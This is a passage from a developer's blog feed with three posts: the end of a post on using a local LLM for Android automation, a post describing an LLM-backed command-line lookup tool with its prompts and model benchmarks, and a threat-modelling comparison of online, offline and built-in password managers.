<h2 id="decision-making" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/automate-android-with-local-llm/#decision-making">Decision making?</a></h2>
<p>With the pieces in place, it’s a matter of modifying the system prompt for the LLM to have it behave as a decision making tool. The key is to shape the output of the model to match an expected structure, and then to get Automate to parse it and ‘do something’ with it. For example, given a piece of text you can ask the model to produce <code>positive</code>, or <code>negative</code>. That output used in Automate’s if block can act as a branch.</p>
<p>It’s more complicated, but it’s conceivable that the LLM could be provided with tools from the specific Automate Flow, and use that to work out a decision itself. Looking at a <a href="https://python.langchain.com/docs/modules/agents/tools/custom_tools">library like Langchain</a>, the prompt could look something like this:</p>
<pre><code>Answer the following questions as best you can. You have access to the following tools:
get_content_from_page: Useful for when you need to get the contents of a web page
get_weather_in_location: Useful for when you need to know the weather in a city
get_current_date: Useful for when you need to know the date and time
Use the following format:
Question: the input question you must answer
Thought: you should always think about what to do
Action: the action to take, should be one of [get_content_from_page, get_content_from_page, get_current_date]
Action Input: the input to the action
Observation: the result of the action\
... (this Thought/Action/Action Input/Observation can repeat N times)
Thought: I now know the final answer
Final Answer: the final answer to the original input question
Begin!
Question: {input}
Thought:{agent_scratchpad}
</code></pre>
<p>The main trouble here of course would be the tedious parsing required, feeding it into the right tool (branch) in an Automate Flow, and feeding the response back. This could probably be made easier if frameworks are developed around it. Termux <a href="https://wiki.termux.com/wiki/Python"><em>can</em> run Python</a>, which means a lightweight framework to interact with LLMs <a href="https://github.com/abetlen/llama-cpp-python/issues/389">might be possible</a>.</p>
<p>For now the simplest approach is probably to use the LLM to produce a single output and carry on, not bothering with back-and-forth conversations.</p>
`?`, a simple CLI lookup tool2023-07-29T00:00:00Zhttps://code.mendhak.com/simple-cli-lookup-tool/<p>As I spend a lot of time on the <abbr title="Command Line Interface">CLI</abbr>, I often need to look up commands, even if I’ve used them before. I like to offload memory elsewhere if I don’t need to remember things, including commands, boilerplate code, birthdays, phone numbers and so on, and do a search when I need them. As a convenience, I have written <a href="https://github.com/mendhak/llm-cli-helper">a CLI lookup tool</a>, accessible from the commandline itself. It works by making use of <abbr title="Large Language Models">LLMs</abbr> such as OpenAI GPT 3.5 and Llama2.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/simple-cli-lookup-tool/example.gif">
<img src="https://code.mendhak.com/assets/images/simple-cli-lookup-tool/example.gif" alt=" in action" loading="lazy" /></span>
<figcaption><code>?</code> in action</figcaption>
</figure><p></p>
<h2 id="usage" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-cli-lookup-tool/#usage">Usage</a></h2>
<p>I type <code>?</code> followed by a brief description of the command I’m trying to remember.</p>
<pre class="language-bash"><code class="language-bash">$ ? how much disk space
<span class="token function">df</span> <span class="token parameter variable">-h</span>
$ ? show <span class="token function">top</span> processes by CPU usage
<span class="token function">top</span> <span class="token parameter variable">-o</span> %CPU</code></pre>
<p>The tool maintains a bit of history, so it’s possible to ask a follow up command.</p>
<pre class="language-bash"><code class="language-bash">$ ? <span class="token function">find</span> .pickle files <span class="token keyword">in</span> this directory
<span class="token function">find</span> <span class="token builtin class-name">.</span> <span class="token parameter variable">-type</span> f <span class="token parameter variable">-name</span> <span class="token string">"*.pickle"</span>
$ ? delete them
<span class="token function">find</span> <span class="token builtin class-name">.</span> <span class="token parameter variable">-type</span> f <span class="token parameter variable">-name</span> <span class="token string">"*.pickle"</span> <span class="token parameter variable">-delete</span></code></pre>
<p>Similarly in this example, I didn’t like the first output using telnet, so I asked for an nc command instead.</p>
<pre class="language-bash"><code class="language-bash">$ ? check <span class="token keyword">if</span> port <span class="token number">443</span> on example.com is <span class="token function">open</span>
<span class="token builtin class-name">echo</span> <span class="token operator">|</span> telnet example.com <span class="token number">443</span>
$ ? using <span class="token function">nc</span>
<span class="token function">nc</span> <span class="token parameter variable">-zv</span> example.com <span class="token number">443</span></code></pre>
<h2 id="how-it-works" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-cli-lookup-tool/#how-it-works">How it works</a></h2>
<p>Large Language Models (LLMs) having crawled large parts of the Internet, will have a decent idea of how to formulate common commands. In effect, they can serve as a sometimes reliable search engine. Now that LLMs are becoming increasingly accessible, it is becoming easier to write tooling against these. It’s then just a matter of writing the right prompts to get the desired answer out.</p>
<h3 id="the-models" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-cli-lookup-tool/#the-models">The models</a></h3>
<p><a href="https://platform.openai.com/docs/introduction">OpenAI’s GPT 3.5 API</a> is a popular choice currently as it gives access to GPT 3.5, the model behind ChatGPT. This gives slightly better answers, but is not free. The pricing is cheap but it’s still a good idea to <a href="https://platform.openai.com/account/billing/limits">set a monthly limit</a> on usage.</p>
<p><a href="https://huggingface.co/meta-llama">Meta’s Llama2</a> is more open, and can be run locally on a computer for free. Its openness has spawned a number of community efforts that run very fast on GPUs. Since this setup runs on local hardware, it’s effectively free, with the downside that its answers are not as good as GPT 3.5’s.</p>
<p>I’ve written the CLI helper against both of these models.</p>
<h3 id="the-prompts" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-cli-lookup-tool/#the-prompts">The prompts</a></h3>
<p>This is where we meet the hottest new programming language, English. Programming against LLMs involves writing prompts in a specific way hoping, praying, and hand-waving that it gives you what you want.</p>
<p>The initial layout of the prompt looks something like this:</p>
<pre><code>You are a helpful assistant that outputs example Linux commands.I will describe what I want to do, and you will reply with a Linux command to accomplish that task.
I want you to only reply with the Linux Bash command, and nothing else.
Do not write explanations. Only output the command.
If you don't have a Linux command to respond with, say you don't know, in an echo command.
Human: List files in the current directory
Assistant: ls
Human: Push my git branch up
Assistant: git push origin <branch>
Human: What is a pineapple?
Assistant: Sorry, I don't have a bash command to answer that.
</code></pre>
<p>The initial paragraph sets the role, and the examples given help the LLM understand the kind of responses being expected. This is known as <a href="https://www.promptingguide.ai/techniques/fewshot">few shot prompting</a>.</p>
<p>Although it’s possible to just send this block of text to the APIs directly and parse the response, I’m using an emerging framework called <a href="https://python.langchain.com/docs/get_started/introduction.html">LangChain</a>, which simplifies and takes away some of the setup and boilerplate involved. This includes setting up the initial context, the examples, maintaining a history, and processing the output.</p>
<h3 id="is-just-an-alias" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-cli-lookup-tool/#is-just-an-alias"><code>?</code> is just an alias</a></h3>
<p>The scripts are in Python but it’s simpler to just alias <code>?</code> to it.</p>
<pre class="language-bash"><code class="language-bash"><span class="token builtin class-name">alias</span> ?<span class="token operator">=</span><span class="token string">'/home/mendhak/Projects/llm-cli-helper/.venv/bin/python3 /home/mendhak/Projects/llm-cli-helper/llamacpp.clihelper.py'</span></code></pre>
<p>Using <code>?</code> makes it easy to remember, and makes the interface appear like a proper search. Simple. It creates no illusions of talking to an entity with agency.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/simple-cli-lookup-tool/002.png">
<img src="https://code.mendhak.com/assets/images/simple-cli-lookup-tool/002.png" alt="Computer says no" loading="lazy" /></span>
<figcaption>Computer says no</figcaption>
</figure><p></p>
<h2 id="a-detailed-look-at-the-models" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-cli-lookup-tool/#a-detailed-look-at-the-models">A detailed look at the models</a></h2>
<p>The well known proprietary models such as ChatGPT and Claude 2 are held in closed systems and access is through payments. Their access is straightforward, through their corresponding APIs.</p>
<h3 id="llama-cpp-and-autogptq" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-cli-lookup-tool/#llama-cpp-and-autogptq">llama.cpp and AutoGPTQ</a></h3>
<p>With Llama and its derivatives, the situation is a bit busier. It’s technically possible to use the original Llama model released by Meta directly, however running it on consumer grade hardware is resource hungry and slow. There have been community efforts to port and speed up these models and reduce the resources they require to run.</p>
<p>A well-known port is <a href="https://github.com/ggerganov/llama.cpp">llama.cpp</a>, which aims to bring LLMs to more devices. Llama.cpp can take advantage of CPUs and GPUs. Although the CPU boost was better than running Llama2 directly, it was much faster on a GPU. On my 5 year old GPU, I was able to get around 90 tokens per second. In fact, I was even able to get it working on my phone.</p>
<p>A similar port is <a href="https://github.com/PanQiWei/AutoGPTQ">AutoGPTQ</a> which works only on GPUs. However, running it is pretty painful because, through a series of dependencies, it requires me to be running an older version of my graphics drivers. To be more specific, it makes use of a library called PyTorch, and PyTorch, at this time, only works with CUDA Toolkit 11. Installing CUDA 11 required me to downgrade my graphics driver, which was a step too far. I’d eventually like to be able to try AutoGPTQ.</p>
<p>It’s worth noting that the efficiency gains come at the expense of quality and accuracy. The models need to be converted through a process known as <a href="https://medium.com/intel-analytics-software/effective-post-training-quantization-for-large-language-models-with-enhanced-smoothquant-approach-93e9d104fb98">quantization</a>. My assumption is that for a focused tool like this one, an occasional poor answer is acceptable as long as it’s relatively quick. But then, even the biggest models can still give the occasional lemon.</p>
<h3 id="chosen-models" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-cli-lookup-tool/#chosen-models">Chosen models</a></h3>
<p>The models I chose to run the tool with were <a href="https://huggingface.co/TheBloke/Llama-2-7B-Chat-GGML">Llama-2-7B-Chat-GGML</a>, <a href="https://huggingface.co/TheBloke/StableBeluga-7B-GGML">Stable Beluga 7B GGML</a>, and <a href="https://huggingface.co/TheBloke/CodeLlama-7B-GGUF">CodeLlama 7B GGUF</a>. The 7B indicates 7 billion parameters, which would fit in about 6GB of RAM, or 6GB of VRAM if offloaded to the GPU. GGML is the name of the quantization format that llama.cpp expects to work with, although very recently this has now changed to GGUF format.</p>
<p>The best model would probably have been <a href="https://huggingface.co/localmodels/WizardCoder-15B-V1.0-GPTQ">WizardCoder 15B</a> which is fine tuned for coding tasks, but it was in GPTQ format and probably required more VRAM than I have available. Perhaps a few years from now it becomes a bit more achievable. Another coding model called <a href="https://huggingface.co/TheBloke/starcoderplus-GGML">Starcoder</a> was in GGML format but not compatible with llama.cpp.</p>
<h3 id="performance" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-cli-lookup-tool/#performance">Performance</a></h3>
<p>I wanted to get an objective view of the performance and accuracy of the various models, local and remote. It was pretty easy to notice when I got wrong answers but was the model serving its purpose well?</p>
<p>To determine that I created an unscientific test. I came up with a list of about 60 commands, and for each one I’d make the call and time it. I recorded the time along with whether the response given was good enough; it didn’t have to be a perfectly accurate answer, just enough to nudge me in the right direction.</p>
<table>
<thead>
<tr>
<th>Model name</th>
<th>Good enough answers</th>
<th>Average time taken</th>
</tr>
</thead>
<tbody>
<tr>
<td>Stable Beluga</td>
<td>73%</td>
<td>2.93 s</td>
</tr>
<tr>
<td>Llama 2</td>
<td>60%</td>
<td>2.94 s</td>
</tr>
<tr>
<td>OpenAI GPT 3.5</td>
<td><strong>88%</strong></td>
<td><strong>2.11 s</strong></td>
</tr>
<tr>
<td>CodeLlama</td>
<td>75%</td>
<td>3.16 s</td>
</tr>
</tbody>
</table>
<p>This was expected of course GPT 3.5 runs on a high end cluster somewhere in OpenAI’s estate, while the other two were running on my computer and were the smallest possible.
Considering that, Stable Beluga’s and CodeLlama’s performance was impressive despite being relatively hobbled.</p>
<p>I did very briefly try out the larger 13B models of Stable Beluga and Llama 2; their answers were indeed better, but the performance not as much; it was taking about 5 seconds to get a response which was just past the threshold of tolerance for me. Perhaps something to try again in the future when I have better hardware.</p>
<h2 id="conclusions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-cli-lookup-tool/#conclusions">Conclusions</a></h2>
<p>I prefer OpenAI’s quality of answers, they’ve put in a lot of resources towards training this model and it shows. At the same time, I really like the idea of a private, local LLM that I can control. I think if it’s local I might have more tolerance for the occasional poor answer.</p>
<p>I plan on continuing to run the Stable Beluga version and OpenAI version alternatingly, and keep a running tally in the sheet over time as I try out new and interesting commands. I might even consider randomizing which model gets loaded so that it’s an almost blind experiment.</p>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/mendhak/llm-cli-helper"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> mendhak/llm-cli-helper </span> </a> </div> <div class="github-repo-text">CLI helper tool to lookup commands based on a description</div> <div class="stats-icons"> <a href="https://github.com/mendhak/llm-cli-helper/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 9 </a> <a href="https://github.com/mendhak/llm-cli-helper/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 0 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> Python</a> </div></div>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/simple-cli-lookup-tool/000.png">
<img src="https://code.mendhak.com/assets/images/simple-cli-lookup-tool/000.png" alt="Demo of simple CLI lookup tool asking a question and a follow up" title="" loading="lazy" /></span>
<figcaption>Demo of <code>?</code> in action</figcaption>
</figure><p></p>
Use threat modelling to choose a password manager2023-07-20T00:00:00Zhttps://code.mendhak.com/threat-modelling-to-pick-password-manager/<p>Common ways of choosing a password manager are to see what everyone else is using, search for what’s popular, or just pick something convenient. I do the same, but also want to spend some time evaluating my choices because password managers are the ‘keys to the kingdom’. Threat modelling feels like a really good fit in helping evaluate these choices, doing so at a high level can go a long way towards granting assurance and peace of mind.</p>
<p>Most password managers hold secrets in a ‘vault’ or an encrypted database of sorts. The vault is locked with a password that only I, the user, should know; the password manager is essentially a fancy search interface on top of this vault. What that means is both the vault and its keys are critical — without one, the other is pointless.</p>
<h2 id="online-password-managers" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/threat-modelling-to-pick-password-manager/#online-password-managers">Online password managers</a></h2>
<p>Several popular password managers are web based, for the simple reason that accessing them via the browser is very convenient. The web interface is the password manager and the user uses it to find, edit, and create new entries. The vault sits behind this interface on the provider’s servers. It’s simple and inexpensive from an implementation point of view, which is why there are so many providers in this space.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/threat-modelling-to-pick-password-manager/001.png">
<img src="https://code.mendhak.com/assets/images/threat-modelling-to-pick-password-manager/001.png" alt="Threat Model of a web based password manager" title="" loading="lazy" /></span>
<figcaption>Web based password managers</figcaption>
</figure><p></p>
<h3 id="trust" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/threat-modelling-to-pick-password-manager/#trust">Trust</a></h3>
<p>Since the entrypoint is in the cloud (someone else’s computer), the entrypoint is also its attack surface, which is available to everyone. The provider is responsible for ensuring that its security is maintained, and that means that trust is an important factor. Since they are being entrusted with all the keys, the provider needs to be responsible and reliable, but we don’t know what they’re doing or running on their servers. The illusion of trust is maintained only as long as there are no disclosed incidents.</p>
<p>LastPass is an example of a provider that has damaged its reputation over the past few years due to its numerous breaches; LastPass proponents would justify it by saying that they are very quick to fix issues, however they miss a crucial point, that the damage will already have been done. It’s like buying a stronger padlock after someone’s broken into a shed: the tools were stolen and it’s too late; you’ve responded correctly but now you’ll always be the person with the weak shed.</p>
<p>To an extent, if the vendor’s web application is open sourced, it goes some way towards increasing that provider’s trustworthiness. Not everyone can read and audit source code, though with open source development, the actions (both good and bad) take place in the open and there is much less incentive. Historically, sufficiently popular software has been called out for questionable behavior that they might be introducing, as there are then enough eyes on it. It’s still not a perfect solution, yet is far better than trusting proprietary code.</p>
<p>Bitwarden is one such provider that runs an open source stack, and it is sufficiently popular that there are eyes on it. An advantage of doing this is a user can run the <a href="https://github.com/bitwarden/server">Bitwarden server software</a> themselves if they choose, or simply stay with the Bitwarden cloud version with a relatively higher degree of trust compared to others. <a href="https://github.com/Dashlane">Dashlane</a> has also partially open sourced their client-side applications, but not the server.</p>
<p>The always-on attack surface remains, and it takes just one incident or one lapse for a compromise, which a user would be powerless against.</p>
<div class="notice info">
<strong>My takeaway</strong>: Online password managers present an always-on attack surface, and are a poor option in terms of security, but very convenient. If going this route, choose a provider with a good reputation, and one that is open source.
</div>
<h3 id="costs-and-incentives" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/threat-modelling-to-pick-password-manager/#costs-and-incentives">Costs and incentives</a></h3>
<p>The other factor is costs. Since the vendor needs money to keep things running, they need to charge money, which is understandable. It also means that the password management service is only available to the user as long as payments continue. This is a one-way transactional relationship, in that the user is subject to the whims of the provider and its availability, its featureset, and any restrictions they choose to place.</p>
<p>It is not enough to make money, it is never enough to make money. The providing company will want to make <em>more</em> money. To do so, they need to be seen as innovating and adding new features to attract new customers. More features means more moving parts, complexity, and attack surfaces. Any software developer with experience can attest to that. It is a great shame that password manager comparison sites, and people, will often focus on what features a password manager has, or whether it looks and feels nice. If there’s one place that there ought to be <em>fewer</em> features, and where the look and feel really should not matter, it’s a password manager. But I acknowledge that we are people, and we will judge by look and feel, even if it’s to our detriment.</p>
<p>Feature development is not the only way to attract customers, the other is advertising. 1Password is a <em>particularly</em> egregious example of this and need to be called out for it. A few years ago they ran a relentless advertising and sponsorship campaign. Many tech sites, YouTube channels, bloggers, and online ‘personalities’ were openly endorsing it. None of them actually know what it is doing behind the scenes, but felt perfectly qualified to tell others to use it. Artefacts of this campaign can still be seen on some blogs, comparison websites, and forums too. There are telltale signs like common promotional phrasing being used (especially around the family plan), or it being the only one with a link on comparison sites.</p>
<p>What’s more, this campaign launched shortly after 1Password went from being a standalone offline password manager, to an online subscription based password manager. That was a pretty good way to highlight the transactional, whimsical nature of this relationship. These combined actions did not fill me with assurance, and after watching them for a while, I started referring to them as the NordVPN of password managers: popular and untrustworthy.</p>
<div class="notice info">
<strong>My takeaway</strong>: Subscription based managers are a risky choice, as you are at a transactional mercy. 1Password’s advertising and referral campaign is a red flag, and I would avoid it.
</div>
<h3 id="mobile-and-desktop-clients" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/threat-modelling-to-pick-password-manager/#mobile-and-desktop-clients">Mobile and desktop clients</a></h3>
<p>Most online password managers also maintain desktop and mobile clients. A copy of the vault is placed on the device for the local password manager UI to work with. The local password manager would interact with its hosted APIs to get the copy of the vault, as well as to enable various features or interactions that the local application needs to provide.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/threat-modelling-to-pick-password-manager/002.png">
<img src="https://code.mendhak.com/assets/images/threat-modelling-to-pick-password-manager/002.png" alt="Threat Model of mobile and desktop clients of a web based password manager" title="" loading="lazy" /></span>
<figcaption>Mobile and desktop clients of online password managers</figcaption>
</figure><p></p>
<p>There are now additional attack surfaces available. The local vault which may be the same or yet another implementation of its online counterpart, with unknown security for closed source solutions. And the backend services or APIs that facilitate the application and its features.</p>
<p>It’s not a great idea to have so many attack vectors or to increase them. There’s a dichotomy at play here: we want to use password managers to improve our security posture; we choose to compromise our posture for the sake of convenience.</p>
<div class="notice info">
<strong>My takeaway</strong>: Having multiple clients means more attack surfaces, which means more risk, but more convenience. If going this route, choose a provider with a good reputation, and one that is open source.
</div>
<h3 id="browser-extensions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/threat-modelling-to-pick-password-manager/#browser-extensions">Browser extensions</a></h3>
<p>Password managers provide browser extensions as a convenience tool, to help fill entries on web pages without the user having to manually copy and paste. These extensions act as a tunnel between the browser and the password manager vault. But it also means that they are a means of sending commands and controlling its behavior. A popular attack against extensions is to use hidden fields and have the password manager automatically fill them. Conversely though, without an extension, the risk of being phished exists, as it’s still possible to be tricked into pasting passwords into a fake, convincing-looking website. It’s probably best to keep paying attention to URLs, but if a browser extension must be used, disable auto-fill.</p>
<div class="notice info">
<strong>My takeaway</strong>: Browser extensions present a risk, but they can be mitigated by disabling auto-fill and using click-to-fill instead and paying attention to URLs.
</div>
<h3 id="built-in-password-managers" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/threat-modelling-to-pick-password-manager/#built-in-password-managers">Built-in password managers</a></h3>
<p>Browsers and OSes now come with their own, built-in password managers. In terms of threat modelling, they are very similar to online password managers. They store the credentials in their local database, and take care of syncing it across different devices and sessions. This is probably the most convenient password manager of all, the user doesn’t even have to think about it. It’s only slightly better than not having a password manager, the additional risk here is that of lock-in and lock-out.</p>
<p>Browsers are often gateways to the ecosystems of the vendors that create them: Edge (Microsoft), Chrome (Google), Safari (Apple), and continuing with the theme of convenience, will be the default choice for people encountering the innocuous ‘remember your password?’ dialog for the first time. Storing credentials in the same ecosystem used for everything else means that the vendors become the custodians of the user’s vault <em>and</em> the services they access. The relationship dynamic is hugely disadvantageous to the user.</p>
<p>A critical point to note is that the user is being <em>permitted</em> to access the vault as long as the user is compliant with the vendor’s policies, terms, and not subject to any software bugs or administrative errors. Once a user is locked out, the prevailing assumption in all interactions with the vendor is always that the user is at fault, and the user needs to prove their trustworthiness. It doesn’t even have to be an error, simply losing a primary device is enough to make getting back in very difficult. This happens to people regularly, and sadly (from my observations), it does not seem to prompt any initiatives to migrate password managers. Nor do the vendors have any incentive to take any care; they benefit from the lock-in and the difficulty of moving.</p>
<p>An important point that using the browser itself overlooks: the user wouldn’t be storing their ecosystem’s password in the browser. They would instead be using a weak password as their ecosystem’s main password. Overall, using the browser’s built in password save feature is only marginally better than not using a password manager at all.</p>
<div class="notice info">
<strong>My takeaway</strong>: OS and browser built-in password managers are the worst option in terms of privacy and security. They are a huge lock-in, and I would avoid them at all costs.
</div>
<h2 id="offline-password-managers" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/threat-modelling-to-pick-password-manager/#offline-password-managers">Offline Password Managers</a></h2>
<p>The simplest kind of password manager from a threat modelling perspective is offline. There will be a vault file, and a desktop or CLI application to interact with it. The attack surface attention now shifts to the vault database.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/threat-modelling-to-pick-password-manager/003.png">
<img src="https://code.mendhak.com/assets/images/threat-modelling-to-pick-password-manager/003.png" alt="Threat Model of an offline password manager" title="" loading="lazy" /></span>
<figcaption>Offline password managers</figcaption>
</figure><p></p>
<p>The most well known vault database format is <a href="https://keepass.info/help/kb/kdbx_4.html">KDBX</a>. Because the KDBX format is open and documented, there are numerous applications that work with this vault format. <a href="https://keepass.info/">KeePass2</a> is the reference implementation by the same creator of KDBX, but there is also <a href="https://keepassxc.org/">KeePassXC</a>. There are mobile and commandline clients for KDBX too.</p>
<p>KDBX is not the only vault format, a CLI application named <a href="https://www.passwordstore.org/">pass</a> takes an even simpler approach: it encrypts the credentials with PGP and in doing so builds on years of security experience, all it does is provide a search mechanism over the secrets.</p>
<p>In either case, the interaction with the password vault takes place offline. There are no always-on attack surfaces, and the attack surface is now limited to the local device (which no password manager can escape). There is reliance on the strength of the vault cryptographic formats, which can be made stronger by choosing very strong passwords, and more key derivations in the case of KDBX family.</p>
<p>There is no sync mechanism built in, it now becomes the user’s responsibility to do the syncing. They can choose to sync to a cloud storage provider (like Dropbox, Google Drive), or peer to peer across devices (<a href="https://syncthing.net/">Syncthing</a>), or simply backup to a network location. Some KeePass mobile clients can interact directly with cloud storage providers which makes this an easy sell.</p>
<p>Because the attack surface is now greatly reduced, and the focus is intently on the application and its database format, it’s vital that the software and its vault format be open source. To this end, KeePass and the KDBX format can be considered highly trustworthy as they have gone through an <a href="https://joinup.ec.europa.eu/collection/eu-fossa-2/project-deliveries">EU audit</a>. Pass can be considered trustworthy as well, as it uses PGP which is a well known encryption system that’s been in use and trusted for decades.</p>
<div class="notice info">
<strong>My takeaway</strong>: Offline, open-source password managers have a greatly reduced attack surface, and are highly trustworthy, but require effort and responsibility on the user’s part.
</div>
<h2 id="other-decision-factors" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/threat-modelling-to-pick-password-manager/#other-decision-factors">Other decision factors</a></h2>
<h3 id="2fa-codes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/threat-modelling-to-pick-password-manager/#2fa-codes">2FA codes</a></h3>
<p>Password managers support two-factor authentication (2FA) codes, specifically TOTP codes. These are the usually 6 digit codes generated that are valid for 30-90 seconds, specific to a site and login. This is an aspect to threat modelling that I haven’t really gone over. The spirit of 2FA was to make compromises more difficult; a compromised password could still mean there’s another code, somewhere else, that the attacker doesn’t have access to, which is the 2FA code. Keeping 2FA codes alongside passwords means the compromise is easy again. With that in mind, I would not use 2FA codes with online password managers as the risk and its impact is much higher. But with offline password managers, the risk is lower, so it isn’t an entirely terrible thing to do.</p>
<p>The best option of course is to use a separate application, on a separate device, for 2FA needs. Applying similar threat modelling principles, it’s easy to see that built-in authenticators, tied to ecosystems, aren’t advisable. Authy is tied to phone numbers, and is probably the most convenient choice with a lower risk as long as you don’t lose your phone. Aegis authenticator is not tied to anything and is the equivalent of offline password managers, you’re doing the syncing.</p>
<div class="notice info">
<strong>My takeaway</strong>: 2FA codes should be kept separate from passwords, but if they must be kept together, they are better off in an offline password manager than an online one.
</div>
<h3 id="document-storage" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/threat-modelling-to-pick-password-manager/#document-storage">Document storage</a></h3>
<p>Since the password vault is meant to be a keeper of secrets, it does follow that secret files also have a place. These can be backup codes, SSH keys, PGP keys, passport scans. Offline password managers can take this a step further by serving as an <a href="https://code.mendhak.com/keepass-and-keeagent-setup/">SSH agent</a> for secure communication with remote servers as well as git operations to Github.</p>
<h3 id="password-sharing" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/threat-modelling-to-pick-password-manager/#password-sharing">Password sharing</a></h3>
<p>Families and workplaces may require password sharing in teams, which is a wholly different use case and will lead to different answers. The reason is, despite what password manager websites may say, the act of password sharing itself is not a security feature, it’s a security compromise. Having safeguards for sharing becomes greater in importance, but it also means that the passwords are always going to be uncontrolled and at greater risk.</p>
<p>If the people involved are technical and trustworthy enough, then sharing via KeePass would still be possible over a network share or file syncing. For others, the simplest in this use case would be to use Bitwarden which has provisions for sharing specific credentials with other people.</p>
<h2 id="my-choices" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/threat-modelling-to-pick-password-manager/#my-choices">My choices</a></h2>
<p>The cryptocurency era brought about a popular saying: not your keys, not your crypto. A similar one plays in my mind here: not your vault, not your credentials.</p>
